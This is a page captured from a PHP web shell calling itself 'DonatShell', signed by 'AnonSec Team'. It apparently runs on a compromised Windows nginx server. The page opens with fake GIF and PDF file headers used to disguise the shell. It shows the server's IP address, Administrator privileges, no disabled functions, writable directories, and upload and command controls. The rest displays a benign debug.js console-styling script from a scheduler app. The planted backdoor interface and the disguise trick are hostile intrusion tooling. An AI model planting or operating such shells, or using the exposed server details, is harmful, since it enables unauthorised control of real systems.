GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/Scheduler/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/Scheduler/js/debug.js
"use strict";
// debug.js

// Begin with no console color enhancements.
let CA = '';		// attention
let CB = '';		// black
let CC = '';		// call.
let CD = '';		// do.
let CE = '';		// error.
let CF = '';		// false.
let CG = '';		// group. recall.
let CH = '';		// group (DEBUG = false).
let CI = '';		// info
let CL = '';		// log.
let CN = '';		// normal.
let CQ = '';		// question.
let CR = '';		// return value.
let CS = '';		// set.
let CT = '';		// true.
let CU = '';		// UpdateInclude.
let CW = '';		// warn.
let CX = '';		// eXpand.
let PC = '%c';	// Placeholder for css. The 'Cn' list after log text.
let NL = "\n";	// Used in console functions for newline.
let TB = "\t";	// Used in console functions for tab.
let PB = '';		// Prepended for start.
let PE = '';		// Prepended for end.
let SB = '';		// start. console.log(PB+text,SB,ST)
let SE = '';		// end. console.log(PE+text,SE,ST);
let ST = '';		// Text part for start and end.

let ScriptSrc = '';
let ScriptText = '';

// _Initialize_debug();
function _Initialize_debug() {
	_Initialize_debug.counter++;//IncrementCounter(_Initialize_debug);
	if ( typeof BROWSER_name === 'undefined' ) {
		// console color enhancements.
		let C_B = ' font-weight:bold;'; // bold.
		let C_L = ' font-size:14px;'; // large font.
		let C_R = ' font-size:12px;'; // regular font.
		CA = 'background-color:#af3; color: #000;'+C_R;			// attention.     console.log(`${PC}text`,CA);	+C_B for bold.
		CB = 'background-color:#fff; color: #000;'+C_R;			// black.         console.log(`${PC}text`,CB);
		CC = 'background-color:#84b; color: #fff;'+C_R;			// call.          console.log(`${PC}text`,CC);
		CD = 'background-color:#afc; color: #000;'+C_R;			// do.            console.log(`${PC}text`,CD);
		CE = 'background-color:#f11; color: #fff;'+C_R;			// error.         console.log(`${PC}text`,CE);
		CF = 'background-color:#800; color: #fff;'+C_R;			// false.         console.log(`${PC}text`,CF);
		CG = 'background-color:#c60; color: #fff;'+C_R+C_B+C_L;	// group. recall. console.group(`${PC}text`,CG); May also use console.groupCollapsed(); End with console.groupEnd(); Also if setTimeout() needed.
		CH = 'background-color:#950; color: #fff;'+C_R+C_B+C_L;	// group. (DEBUG = false).
		CI = 'background-color:#aef; color: #000;'+C_R;			// info.          console.log(`${PC}text`,CI);
		CL = 'background-color:#222; color: #ccc;'+C_R;			// log.           console.log(`${PC}text`,CL);
		CN = 'background-color:#ccc; color: #222;'+C_R;			// normal.        console.log(`${PC}text`,CN);
		CQ = 'background-color:#00a; color: #fff;'+C_R;			// question.      console.log(`${PC}text`,CQ);
		CR = 'background-color:#000; color: #eb2;'+C_R;			// return value.  console.log(`${PC}text`,CR);
		CS = 'background-color:#e8f; color: #000;'+C_R;			// set.           console.log(`${PC}text`,CS);
		CT = 'background-color:#080; color: #fff;'+C_R;			// true.          console.log(`${PC}text`,CT);
		CU = 'background-color:#408; color: #fff;'+C_R;			// UpdateInclude. console.log(`${PC}text`,CU);
		CW = 'background-color:#fda; color: #000;'+C_R;			// warn.          console.log(`${PC}text`,CW);
		CX = 'background-color:#00a; color: #ff0;'+C_R;			// eXpand.        console.log(`${PC}text`,CX);
		PB = '%cBEGIN%c '; // Prepended for start.
		PE = '%c  END%c '; // Prepended for end.
		SB = 'background-color:#ffa; color: #000;'+C_L+C_B;	// start. console.log(PB+text,SB,ST);
		SE = 'background-color:#ffa; color: #000;'+C_L+C_B;	// end. console.log(PE+text,SE,ST);
		ST = 'background-color:#fff; color: #000;'+C_R;			// Text part for start and end.
		_Initialize_debug.initalized = true;
		console.log(PC+'_Initialize_debug['+_Initialize_debug.counter+']',CH);
	} else {
		console.warn('_Initialize_debug['+_Initialize_debug.counter+'] Waiting for BROWSER_name to be defined.');
		if ( _Initialize_debug.counter <= 15 ) {
			setTimeout(_Initialize_debug,100);
		}
	}
}
_Initialize_debug.counter = 0;
_Initialize_debug.initalized = false;

// DEBUG_textarea_Load(content)
// Load DEBUG_textarea with content and show.
function DEBUG_textarea_Load(content) {
	document.getElementById('DEBUG_textarea').innerHTML = String(content).replace(/</g, '&lt;').replace(/>/g, '&gt;');
	TextareaResizeById('DEBUG_textarea');
	document.getElementById('DEBUG_textarea').style.display = 'block';
} // END 

// site_jsShowHide()
// Show/Hide the site_jsShowHide textarea.
function site_jsShowHide() {
	let Page_js = document.getElementById('txt_site_js');
	let Scripts = document.getElementsByTagName("script");
	console.log('site_jsShowHide['+Page_js.style.display+']');
	if ( Page_js.style.display === 'block' ) {
		Page_js.style.display = 'none';
	} else {
		if ( ( ScriptSrc + ScriptText ) === '' ) {
			get_Scripts();
			Page_js.innerHTML = ScriptSrc + ScriptText;
			TextareaResizeById(Page_js.id,150); // Resize the txt_site_js textarea.
		}
		Page_js.style.display = 'block';
	}
	// get_Scripts()
	// Get all <script> contents and put it in ScriptSrc.
	function get_Scripts() {
		console.log('get_Scripts[] Scripts.length='+Scripts.length);
		let ScriptSrcs = [];
		for ( let i=0; i<Scripts.length; i++ ) {
			if ( Scripts[i].src ) {
				//console.log(i,Scripts[i].src);
				ScriptSrcs[i] = Scripts[i].src;
			} else {
				//console.log(i,Scripts[i].innerHTML)
				//console.log(i,'script.id='+Scripts[i].id);
				let innerHTMLlines = Scripts[i].innerHTML.split("\n");
				//console.log('innerHTMLlines[0]='+innerHTMLlines[0]);
				//console.log('innerHTMLlines[1]='+innerHTMLlines[1]);
				//console.log('innerHTMLlines[2]='+innerHTMLlines[2]);
				//console.log('innerHTMLlines[3]='+innerHTMLlines[3]);
				if ( typeof innerHTMLlines[1] !== 'undefined' ) {
					ScriptText += '// BEGIN script id='+Scripts[i].id+'. file:'+innerHTMLlines[1].substr(3)+".\n";
					if ( innerHTMLlines[2] !== '' ) { ScriptText += innerHTMLlines[2]+"\n"; }
					for ( let j=3; j<innerHTMLlines.length; j++ ) {
						if ( j !== innerHTMLlines.length-1 || innerHTMLlines[j] !== '' ) { ScriptText += innerHTMLlines[j]+"\n"; }
					}
					ScriptText += '// END script id='+Scripts[i].id+".\n\n";
				}
			}
		}
		let ScriptSrc = "// BEGIN page javascripts.\n";
		for ( let i=0; i<ScriptSrcs.length; i++ ) {
			if ( typeof ScriptSrcs[i] !== 'undefined' ) { ScriptSrc += ScriptSrcs[i]+"\n"; }
		}
		ScriptSrc += "// END page javascripts.\n\n";
	} // END get_Scripts.
} // site_jsShowHide.

function D_formatJSONstring(obj) {
	return JSON.stringify(obj);
}

Anon7 - 2022
AnonSec Team